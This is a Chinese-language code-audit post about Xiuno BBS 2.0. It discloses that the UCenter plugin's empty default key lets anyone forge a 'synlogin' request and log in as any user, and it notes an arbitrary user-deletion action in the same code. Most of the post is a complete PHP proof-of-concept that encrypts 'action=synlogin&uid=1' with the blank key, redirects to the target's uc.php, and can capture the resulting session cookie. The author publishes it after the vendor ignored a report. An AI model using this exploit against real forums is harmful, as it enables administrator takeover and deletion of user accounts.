代码审计：Xiuno BBS 2.0 前台认证授权绕过漏洞 |

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在乌云上提交了这厂商的一个漏洞（http://www.wooyun.org/bugs/wooyun-2010-019717），被华丽的无视了，以后挖到它的漏洞直接公开

0×0 漏洞概述

0×1 代码解析

0×2 PoC

0×0 漏洞概述

xiuno实现了使用uc接口完成uc center登录的插件
xiuno默认没有启用uc插件
在不启用时，uc插件的key：uc_appkey为空，因此在不启用uc插件的时候，uc插件自带的加解密函数可以利用这个特性被绕过
uc用key解密传递进来的参数，其中解密后的action若等于synlogin，uid有效的话，将会使用该uid登录xiuno论坛的前台

0×1 代码解析

此版本为2.0

$code = core::gpc('code' );
     //将传入的code参数用key解密然后放入get数组中
     parse_str(uc_authcode ($code, 'DECODE' , $ucconf['uc_appkey']), $get);

     $action = $get['action'];

     //若action为synlogin，则用get数组中uid作为当前用户登录
     elseif($action == 'synlogin' ) {

      $uid = intval($get[ 'uid']);

      $muser = new user();
      $userdb = $muser-&gt;read($uid);
      $muser-&gt;set_login_cookie($userdb);

       exit(API_RETURN_SUCCEED);

     }

     //同时此处还有一个任意用户删除漏洞
     elseif($action == 'deleteuser' ) {

      $uids = $get[ 'ids'];
      $uids = str_replace( "'", '' , $uids);
      $arr = explode( ',', $uids);
      $muser = new user();
       foreach($arr as $uid) {
            $uid = intval($uid);
            $muser-&gt;xdelete($uid);
      }

       exit(API_RETURN_SUCCEED);

     }

POC:

<?php
/*
 * Xiuno bbs RC2 前台授权绕过漏洞exp
 * Author: ztz@Dis9Team
 * Mail: [email protected]
 * Blog: ztz.fuzzexp.org
 * 使用说明：
 * $_GET['target']: 目标的域名
 * $_GET['ip']: 目标的ip
 * 
 * 如：
 * http://yoursite.com/xiuno.php?target=www.xiuno.com&amp;ip=114.113.224.156
 * 然后手动访问主页即可
 */

function uc_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i &lt;= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i &lt; 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}
}

function send($request, $ip)
{
	$result = '';
	$meta = parse_url($request);
	$path = isset($meta['path']) ? $meta['path'] : exit('path error');
	$host = isset($meta['host']) ? $meta['host'] : exit('host error');
	$query = isset($meta['query']) ? $meta['query'] : exit('query error');

	$packet = "GET $path?$query HTTP/1.1\r\n";
	$packet .= "User-Agent: Mozilla/5.0\r\n";
	$packet .= "Host: ".$ip."\r\n";
	$packet .= "Connection: Close\r\n\r\n";

	$fp = fsockopen($ip, 80);
	fputs($fp, $packet);

	while(!feof($fp)) 
	{
		$result .= fgets($fp,4096);
	}

	if(strpos($result, 'Set-Cookie') &gt; 0)
	{
		$begin = strpos($result, 'Set-Cookie:');
		$end = strpos($result, ";", $begin);
		$cookie = substr($result, $begin + 11, $end - $begin - 11);

		return $cookie;
	}
}

$target = $_GET['target'];
$ip = $_GET['ip'];
$time = time();
$str = "time=$time&amp;action=synlogin&amp;uid=1";
$en_str = uc_authcode($str, 'ENCODE', '');
$request = "http://$target/plugin/ucenter/api/uc.php?code=".urlencode($en_str);

header("Location: $request", true, 302);

?>